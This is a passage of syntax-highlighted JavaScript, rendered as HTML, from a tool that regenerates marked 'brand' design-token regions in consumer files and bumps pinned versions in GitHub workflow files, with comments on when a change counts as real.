&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;entries&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(([k, v]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `  --${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;};`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^\/\* &gt;&gt;&gt; brand /&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;findIndex&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^\/\* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand \*\/\s*$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    start, end,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    body: lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, end).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    version: (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/v(\d+\.\d+\.\d+)/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(lines[start]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [])[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spliceRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, body, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found.start, found.end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found.start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `/* &gt;&gt;&gt; brand v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} GENERATED, do not edit */`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;/* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand */&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** Bump every pinned reference found under .github/workflows. Returns how many. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; bumpPins&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, version, dryRun) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dir &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;.github&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;workflows&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;existsSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(dir)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; bumped &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; file &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readdirSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(dir)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(dir, file);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; after &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(PIN_RE, (m, prefix, found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;prefix&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (after &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      bumped &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;dryRun) &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, after);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; bumped;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; propagate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ tokens, consumer, root, version, dryRun &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, consumer.path);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: consumer.id, verdict: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;missing&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // RULE 1: content decides, not the version receipt. A region written by an&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // old release that is still byte-correct today IS current; opening a pull&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // request for it would be pure noise.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  //&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // Carry this as a boolean. Deriving it later by matching a status string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // (/updated$/) silently misses &quot;would update&quot;, so a dry run reports&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // &quot;nothing to do&quot; while printing a changed region.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; changed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found.body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (changed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;dryRun) &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spliceRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before, body, version));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pinsBumped &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; bumpPins&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, version, dryRun);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // RULE 2: a stale pin alone is not &quot;behind&quot;. It changes no shipped artifact,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // so bump it quietly and never open a pull request just for it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; changed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;brand&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pinsBumped &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;stale&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;current&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { id: consumer.id, verdict, changed, pinsBumped, wroteBy: found.version };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
